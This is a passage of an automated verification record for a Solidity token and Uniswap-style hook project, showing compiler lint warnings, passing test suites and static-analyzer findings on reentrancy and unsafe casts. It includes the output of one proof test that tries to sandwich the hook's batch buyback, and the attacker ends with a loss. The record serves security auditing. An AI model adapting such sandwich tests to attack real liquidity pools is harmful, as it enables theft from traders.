disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:288:49\n    │\n288 │             o.integral = int64(int256(o.tick) * int256(block.timestamp - newStart));\n    │                                                 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:290:24\n    │\n290 │         o.observedAt = uint64(block.timestamp);\n    │                        ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\n","passed":true},{"durationMs":1617,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/MainnetFork.t.sol:MainnetForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 324.64µs (0.00ns CPU time)\n\nRan 3 tests for test/DustBatch.t.sol:DustBatchReverseOrderTest\n[PASS] test_batchPropagatesUnrelatedUnlockFailure() (gas: 335951)\n[PASS] test_tinyPositiveOutputPartialFillConsumesInterval() (gas: 527136)\n[PASS] test_zeroOutputBatchRollsBackAndLeavesIntervalAvailable() (gas: 891789)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 7.64ms (1.68ms CPU time)\n\nRan 3 tests for test/DustBatch.t.sol:DustBatchTest\n[PASS] test_batchPropagatesUnrelatedUnlockFailure() (gas: 330268)\n[PASS] test_tinyPositiveOutputPartialFillConsumesInterval() (gas: 521411)\n[PASS] test_zeroOutputBatchRollsBackAndLeavesIntervalAvailable() (gas: 879903)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 25.73ms (1.34ms CPU time)\n\nRan 4 tests for test/OracleLiquidity.t.sol:OracleLiquidityTest\n[PASS] test_batchLeavingLiquidityKeepsPreviousLiquidTick() (gas: 1114192)\n[PASS] test_batchTraversesEmptyRegionUsingLiquidReference() (gas: 1584152)\n[PASS] test_zeroLiquidityExcursionDoesNotDisablePermissionlessBuyback() (gas: 1958339)\n[PASS] test_zeroLiquidityTickDoesNotEnterHourlyReference() (gas: 1643286)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 32.20ms (5.39ms CPU time)\n\nRan 4 tests for test/OracleLiquidity.t.sol:OracleLiquidityReverseOrderTest\n[PASS] test_batchLeavingLiquidityKeepsPreviousLiquidTick() (gas: 1153917)\n[PASS] test_batchTraversesEmptyRegionUsingLiquidReference() (gas: 1572322)\n[PASS] test_zeroLiquidityExcursionDoesNotDisablePermissionlessBuyback() (gas: 1952039)\n[PASS] test_zeroLiquidityTickDoesNotEnterHourlyReference() (gas: 1636393)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 69.34ms (13.20ms CPU time)\n\nRan 3 tests for test/BatchPriceLimit.t.sol:BatchPriceLimitTest\n[PASS] testFuzz_batchEndsWithinThreePercentOfSpot(uint96,uint16) (runs: 1000, μ: 617379, ~: 617423)\nLogs:\n  Bound result 3618\n  Bound result 99999000000000000001358\n\n[PASS] test_freshReferenceRoundTripControlLosesAfterFees() (gas: 757938)\n[PASS] test_staleReferenceRoundTripLosesAfterFees() (gas: 1024621)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 225.65ms (200.21ms CPU time)\n\nRan 3 tests for test/BatchPriceLimit.t.sol:BatchPriceLimitReverseOrderTest\n[PASS] testFuzz_batchEndsWithinThreePercentOfSpot(uint96,uint16) (runs: 1000, μ: 612528, ~: 611809)\nLogs:\n  Bound result 3600\n  Bound result 27701171032853203713684\n\n[PASS] test_freshReferenceRoundTripControlLosesAfterFees() (gas: 769718)\n[PASS] test_staleReferenceRoundTripLosesAfterFees() (gas: 1018580)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 228.39ms (228.71ms CPU time)\n\nRan 30 tests for test/NUKEHook.t.sol:NUKEHookTest\n[PASS] testFuzz_feeMatchesFill(bool,bool,bool,uint96) (runs: 1000, μ: 362841, ~: 360817)\nLogs:\n  Bound result 99999000000000000005912\n\n[PASS] testFuzz_oracleIntegratesMultipleObservations(uint16,uint16,bool) (runs: 1000, μ: 1119992, ~: 1118182)\nLogs:\n  Bound result 579\n  Bound result 3293\n\n[PASS] test_batchCanCombineClaimsAndWalletFunds() (gas: 673163)\n[PASS] test_batchCannotRunInsideAnotherUnlock() (gas: 95615)\n[PASS] test_batchPartialFillKeepsRemainderAndNextBatchWorks() (gas: 483409)\n[PASS] test_batchSpendsQuarterAndBurnsWithoutHookFee() (gas: 1256581)\n[PASS] test_beforeSwapReturnsZeroDeltaAndNoLPOverride() (gas: 25074)\n[PASS] test_callbacksRejectUntrustedCallers() (gas: 136974)\n[PASS] test_cannotInitializeBeforePredictedHookHasCode() (gas: 10525967)\n[PASS] test_dustFeeRoundsDown() (gas: 356509)\n[PASS] test_emptyBatchAndOutsideLimitDoNotConsumeCooldown() (gas: 773379)\n[PASS] test_exactInputBuy() (gas: 356307)\n[PASS] test_exactInputSell() (gas: 361353)\n[PASS] test_exactOutputBuy() (gas: 356639)\n[PASS] test_exactOutputSell() (gas: 360807)\n[PASS] test_firstBatchRequiresOneHourAndInitializedPool() (gas: 23418086)\n[PASS] test_hourlyReferenceWeightsElapsedTimeAndFloorsNegativeTicks() (gas: 797610)\n[PASS] test_initializationRejectsOtherPoolsAndDynamicFee() (gas: 23592167)\n[PASS] test_largeRequestWithSmallPartialFill() (gas: 692026)\n[PASS] test_noLiquidityBatchDoesNotDeadlock() (gas: 314061)\n[PASS] test_offlineMinerMatchesActualCreate2Deployment() (gas: 18363305)\n[PASS] test_partialExactInputBuy() (gas: 356882)\n[PASS] test_partialExactInputSell() (gas: 362351)\n[PASS] test_partialExactOutputBuy() (gas: 355760)\n[PASS] test_partialExactOutputSell() (gas: 361129)\n[PASS] test_permissionlessSweepBurnsClaimsAndDonations() (gas: 686611)\n[PASS] test_permissionsAndDeployment() (gas: 2002796)\n[PASS] test_priceLimitIsThreePercentInPairPerToken() (gas: 37052)\n[PASS] test_unrepresentableRequestsUseExplicitError() (gas: 207739)\n[PASS] test_zeroLiquidityPartialSwapPaysNoFee() (gas: 405476)\nSuite result: ok. 30 passed; 0 failed; 0 skipped; finished in 234.18ms (372.81ms CPU time)\n\nRan 5 tests for test/NUKE.t.sol:NUKETest\n[PASS] testFuzz_conservation(uint256) (runs: 1000, μ: 86129, ~: 86525)\nLogs:\n  Bound result 566224387252765031913084352\n\n[PASS] test_entireFixedSupplyBelongsToDeployer() (gas: 44027)\n[PASS] test_factoryCanTransferAllAllocationsWithoutTax() (gas: 140535)\n[PASS] test_noAdministrativeSupplyMutation() (gas: 170405)\n[PASS] test_transferFailuresAndAllowance() (gas: 204623)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 234.19ms (234.62ms CPU time)\n\nRan 30 tests for test/NUKEHook.t.sol:NUKEHookReverseOrderTest\n[PASS] testFuzz_feeMatchesFill(bool,bool,bool,uint96) (runs: 1000, μ: 367998, ~: 369158)\nLogs:\n  Bound result 99999000036996569704352\n\n[PASS] testFuzz_oracleIntegratesMultipleObservations(uint16,uint16,bool) (runs: 1000, μ: 1135027, ~: 1136997)\nLogs:\n  Bound result 453\n  Bound result 1731\n\n[PASS] test_batchCanCombineClaimsAndWalletFunds() (gas: 678807)\n[PASS] test_batchCannotRunInsideAnotherUnlock() (gas: 95615)\n[PASS] test_batchPartialFillKeepsRemainderAndNextBatchWorks() (gas: 489273)\n[PASS] test_batchSpendsQuarterAndBurnsWithoutHookFee() (gas: 1262141)\n[PASS] test_beforeSwapReturnsZeroDeltaAndNoLPOverride() (gas: 25074)\n[PASS] test_callbacksRejectUntrustedCallers() (gas: 136974)\n[PASS] test_cannotInitializeBeforePredictedHookHasCode() (gas: 3403581)\n[PASS] test_dustFeeRoundsDown() (gas: 370363)\n[PASS] test_emptyBatchAndOutsideLimitDoNotConsumeCooldown() (gas: 784947)\n[PASS] test_exactInputBuy() (gas: 367072)\n[PASS] test_exactInputSell() (gas: 360588)\n[PASS] test_exactOutputBuy() (gas: 365968)\n[PASS] test_exactOutputSell() (gas: 361478)\n[PASS] test_firstBatchRequiresOneHourAndInitializedPool() (gas: 33425089)\n[PASS] test_hourlyReferenceWeightsElapsedTimeAndFloorsNegativeTicks() (gas: 813467)\n[PASS] test_initializationRejectsOtherPoolsAndDynamicFee() (gas: 33602352)\n[PASS] test_largeRequestWithSmallPartialFill() (gas: 709737)\n[PASS] test_noLiquidityBatchDoesNotDeadlock() (gas: 319313)\n[PASS] test_offlineMinerMatchesActualCreate2Deployment() (gas: 2831999)\n[PASS] test_partialExactInputBuy() (gas: 367347)\n[PASS] test_partialExactInputSell() (gas: 361886)\n[PASS] test_partialExactOutputBuy() (gas: 365921)\n[PASS] test_partialExactOutputSell() (gas: 360961)\n[PASS] test_permissionlessSweepBurnsClaimsAndDonations() (gas: 697376)\n[PASS] test_permissionsAndDeployment() (gas: 2002796)\n[PASS] test_priceLimitIsThreePercentInPairPerToken() (gas: 37146)\n[PASS] test_unrepresentableRequestsUseExplicitError() (gas: 207739)\n[PASS] test_zeroLiquidityPartialSwapPaysNoFee() (gas: 415301)\nSuite result: ok. 30 passed; 0 failed; 0 skipped; finished in 234.21ms (540.19ms CPU time)\n\nRan 1 test for test/Conservation.t.sol:ConservationTest\n[PASS] invariant_feesAreConservedAndNoDebtRemains() (runs: 128, calls: 8192, reverts: 0)\n\n╭---------------------+-----------------+-------+---------+----------╮\n| Contract            | Selector        | Calls | Reverts | Discards |\n+====================================================================+\n| ConservationHandler | advanceAndBatch | 2752  | 0       | 0        |\n|---------------------+-----------------+-------+---------+----------|\n| ConservationHandler | swap            | 2687  | 0       | 0        |\n|---------------------+-----------------+-------+---------+----------|\n| ConservationHandler | sweep           | 2753  | 0       | 0        |\n╰---------------------+-----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 3196814599\n  Bound result 499999999999900001850\n  Bound result 499999999999924296602\n  Bound result 3845\n  Bound result 499999999999900007933\n  Bound result 499999999999900005616\n  Bound result 4573\n  Bound result 4315\n  Bound result 499999999999900004365\n  Bound result 499999999999900006397\n  Bound result 3600\n  Bound result 4828\n  Bound result 499999999999900009560\n  Bound result 1068823178\n  Bound result 6601\n  Bound result 499999999999900012263\n  Bound result 4871\n  Bound result 4105\n  Bound result 3609\n  Bound result 4350\n  Bound result 3602\n  Bound result 499999999999900015655\n  Bound result 499999999999900005032\n  Bound result 499999999999900002696\n  Bound result 499999999999900007520\n  Bound result 3798\n  Bound result 503615006\n  Bound result 3603\n  Bound result 345871976732817948\n  Bound result 3885\n  Bound result 3606\n  Bound result 6991\n  Bound result 499999999999900001857\n  Bound result 499999999999900005951\n  Bound result 4502\n  Bound result 420777501929727533736\n  Bound result 499999999999900013141\n  Bound result 4141\n  Bound result 499999999999900009540\n  Bound result 499999999999900009893\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.53s (1.49s CPU time)\n\nRan 11 test suites in 1.53s (2.82s CPU time): 86 tests passed, 0 failed, 1 skipped (87 total tests)\n","passed":true},{"durationMs":54,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"NUKE.approve(address,uint256)\",\"NUKE.transfer(address,uint256)\",\"NUKE.transferFrom(address,address,uint256)\",\"NUKEHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"NUKEHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"NUKEHook.executeBatch()\",\"NUKEHook.sweep()\",\"NUKEHook.unlockCallback(bytes)\"],\"files\":{\".gitignore\":3,\"README.md\":104,\"dependencies.json\":26,\"dependencies.sha256\":82,\"docs/SECURITY_REVIEW.md\":32,\"foundry.toml\":13,\"launch.json\":21,\"remappings.txt\":4,\"script/MineHook.s.sol\":28,\"src/NUKE.sol\":11,\"src/NUKEHook.sol\":292,\"test/BatchPriceLimit.t.sol\":98,\"test/Conservation.t.sol\":108,\"test/DustBatch.t.sol\":104,\"test/MainnetFork.t.sol\":48,\"test/NUKE.t.sol\":75,\"test/NUKEHook.t.sol\":360,\"test/OracleLiquidity.t.sol\":124,\"test/helpers/HookFixture.sol\":138,\"test/helpers/PoolActor.sol\":66},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":2417,"exitCode":0,"name":"slither","output":"[high/medium] weak-prng at src/NUKEHook.sol:274: NUKEHook._projectOracle() (src/NUKEHook.sol#274-291) uses a weak PRNG: \"integral < 0 && integral % int256(BATCH_INTERVAL) != 0 (src/NUKEHook.sol#283)\"\n[medium/medium] divide-before-multiply at src/NUKEHook.sol:274: NUKEHook._projectOracle() (src/NUKEHook.sol#274-291) performs a multiplication on the result of a division:\n[medium/high] incorrect-equality at src/NUKEHook.sol:177: NUKEHook.batchPriceLimit() (src/NUKEHook.sol#177-191) uses a dangerous strict equality:\n[medium/medium] reentrancy-no-eth at src/NUKEHook.sol:203: Reentrancy in NUKEHook.executeBatch() (src/NUKEHook.sol#203-229):\n[medium/medium] unused-return at src/NUKEHook.sol:203: NUKEHook.executeBatch() (src/NUKEHook.sol#203-229) ignores return value by (spot,None,None,None) = poolManager.getSlot0(poolId) (src/NUKEHook.sol#212)\n[medium/medium] unused-return at src/NUKEHook.sol:231: NUKEHook.unlockCallback(bytes) (src/NUKEHook.sol#231-262) ignores return value by poolManager.settle() (src/NUKEHook.sol#256)\n[medium/medium] unused-return at src/NUKEHook.sol:264: NUKEHook._observe() (src/NUKEHook.sol#264-270) ignores return value by (None,next.tick,None,None) = poolManager.getSlot0(poolId) (src/NUKEHook.sol#268)\n[medium/medium] unused-return at src/NUKEHook.sol:177: NUKEHook.batchPriceLimit() (src/NUKEHook.sol#177-191) ignores return value by (spot,None,None,None) = poolManager.getSlot0(poolId) (src/NUKEHook.sol#183)\n[low/medium] reentrancy-benign at src/NUKEHook.sol:203: Reentrancy in NUKEHook.executeBatch() (src/NUKEHook.sol#203-229):\n[low/medium] reentrancy-benign at src/NUKEHook.sol:231: Reentrancy in NUKEHook.unlockCallback(bytes) (src/NUKEHook.sol#231-262):\n[low/medium] reentrancy-benign at src/NUKEHook.sol:194: Reentrancy in NUKEHook.sweep() (src/NUKEHook.sol#194-199):\n[low/medium] reentrancy-events at src/NUKEHook.sol:203: Reentrancy in NUKEHook.executeBatch() (src/NUKEHook.sol#203-229):\n[low/medium] reentrancy-events at src/NUKEHook.sol:138: Reentrancy in NUKEHook.afterSwap(address,PoolKey,SwapParams,BalanceDelta,bytes) (src/NUKEHook.sol#138-157):\n[low/medium] reentrancy-events at src/NUKEHook.sol:194: Reentrancy in NUKEHook.sweep() (src/NUKEHook.sol#194-199):\n[low/medium] timestamp at src/NUKEHook.sol:177: NUKEHook.batchPriceLimit() (src/NUKEHook.sol#177-191) uses timestamp for comparisons\n[low/medium] timestamp at src/NUKEHook.sol:274: NUKEHook._projectOracle() (src/NUKEHook.sol#274-291) uses timestamp for comparisons\n[low/medium] timestamp at src/NUKEHook.sol:203: NUKEHook.executeBatch() (src/NUKEHook.sol#203-229) uses timestamp for comparisons","passed":true},{"durationMs":407,"exitCode":0,"name":"aderyn","output":"[high] reentrancy-state-change at src/NUKEHook.sol:196: Reentrancy: State change after external call (2 places)\n[high] unsafe-casting at src/NUKEHook.sol:284: Unsafe Casting of integers\n[low] large-numeric-literal at src/NUKE.sol:9: Large Numeric Literal (2 places)\n[low] literal-instead-of-constant at src/NUKEHook.sol:206: Literal Instead of Constant (2 places)\n[low] state-change-without-event at src/NUKEHook.sol:111: State Change Without Event (2 places)\n[low] unchecked-return at src/NUKEHook.sol:256: Unchecked Return\n[low] unsafe-erc20-operation at src/NUKEHook.sol:240: Unsafe ERC20 Operation (2 places)\n[low] unused-public-function at src/NUKEHook.sol:165: Public Function Not Used Internally","passed":true},{"durationMs":7919,"exitCode":0,"name":"proof b513c7f7c76a","output":"Compiling 76 files with Solc 0.8.26\nSolc 0.8.26 finished in 7.32s\nCompiler run successful!\n\nRan 1 test for test/imd-proof-40146647/Proof_b513c7f7c76a.t.sol:StaleReferenceSandwichTest\n[PASS] test_staleReferenceLetsAnyCallerSandwichTheBatch() (gas: 1144487)\nLogs:\n  spot IMD/NUKE (e18) after the sell: 891257206858959493\n  batch spent IMD: 14680922365592181978431\n  batch bought NUKE: 15067150678543650342346\n  batch avg price paid (e18): 974366200936619282\n  attacker IMD profit after all fees: -460277799716293727233\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 16.96ms (1.17ms CPU time)\n\nRan 1 test suite in 18.18ms (16.96ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"06caed2261182039e7971e6fe02347aa3012eff80e4377f611d0c6aa46aeeca7","verifiedTreeHash":"c0ed4625995f11f5de5f109ac8212a4b6071b72d","verifierVersion":"0.1.0+ad90ce4c"},{"checks":[{"durationMs":40784,"exitCode":0,"name":"build","output":"Compiling 80 files with Solc 0.8.26\nSolc 0.8.26 finished in 40.63s\nCompiler run successful!\nwarning[missing-events-arithmetic]: `lastBatch` is changed without an event but is used in arithmetic\n    ╭▸ src/NUKEHook.sol:120:9\n    │\n120 │         lastBatch = block.timestamp;\n    │         ━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-events-arithmetic\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:118:25\n    │\n118 │         oracle = Oracle(uint64(block.timestamp), uint64(block.timestamp), tick, tick, 0);\n    │                         ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:118:50\n    │\n118 │         oracle = Oracle(uint64(block.timestamp), uint64(block.timestamp), tick, tick, 0);\n    │                                                  ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:132:42\n    │\n132 │             params.amountSpecified < 0 ? uint256(-(params.amountSpecified + 1)) + 1 : uint256(params.amountSpecified);\n    │                                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:132:87\n    │\n132 │             params.amountSpecified < 0 ? uint256(-(params.amountSpecified + 1)) + 1 : uint256(params.amountSpecified);\n    │                                                                                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:133:25\n    │\n133 │         if (magnitude > uint256(type(int256).max) - magnitude / 100) revert UnrepresentableFee();\n    │                         ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/NUKEHook.sol:153:13\n    │\n153 │             emit FeeAccrued(currency, fee);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:149:23\n    │\n149 │         uint256 fee = uint256(filled < 0 ? -filled : filled) * FEE_BPS / 10_000;\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:155:44\n    │\n155 │         return (IHooks.afterSwap.selector, int128(int256(fee)));\n    │                                            ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:155:51\n    │\n155 │         return (IHooks.afterSwap.selector, int128(int256(fee)));\n    │                                                   ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:183:16\n    │\n183 │         return uint160(limit);\n    │                ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint160' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-no-eth]: external call can be reentered before `busy` is updated\n    ╭▸ src/NUKEHook.sol:189:29\n    │\n189 │         burned = abi.decode(poolManager.unlock(\"\"), (uint256));\n    │                             ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/NUKEHook.sol:191:9\n    │\n191 │         emit Swept(burned);\n    │         ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-no-eth]: external call can be reentered before `busy` is updated\n    ╭▸ src/NUKEHook.sol:209:38\n    │\n209 │         (spent, burned) = abi.decode(poolManager.unlock(abi.encode(budget, limit)), (uint256, uint256));\n    │                                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/NUKEHook.sol:198:13\n    │\n198 │         if (block.timestamp - lastBatch < BATCH_INTERVAL) revert BatchTooSoon();\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/NUKEHook.sol:211:9\n    │\n211 │         emit BatchExecuted(budget, spent, burned, limit);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:201:22\n    │\n201 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:201:30\n    │\n201 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                              ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:201:67\n    │\n201 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                                                                   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:201:75\n    │\n201 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                                                                           ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:228:81\n    │\n228 │         BalanceDelta delta = poolManager.swap(poolKey(), SwapParams(!tokenIs0, -int256(budget), limit), \"\");\n    │                                                                                 ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:229:25\n    │\n229 │         uint256 spent = uint256(-int256(tokenIs0 ? delta.amount1() : delta.amount0()));\n    │                         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:230:26\n    │\n230 │         uint256 bought = uint256(int256(tokenIs0 ? delta.amount0() : delta.amount1()));\n    │                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/NUKEHook.sol:238:13\n    │\n238 │             poolManager.settle();\n    │             ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n    ╭▸ src/NUKEHook.sol:265:43\n    │\n265 │             uint256 newStart = boundary + ((block.timestamp - boundary) / BATCH_INTERVAL) * BATCH_INTERVAL;\n    │                                           ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/NUKEHook.sol:257:13\n    │\n257 │         if (block.timestamp < boundary) {\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    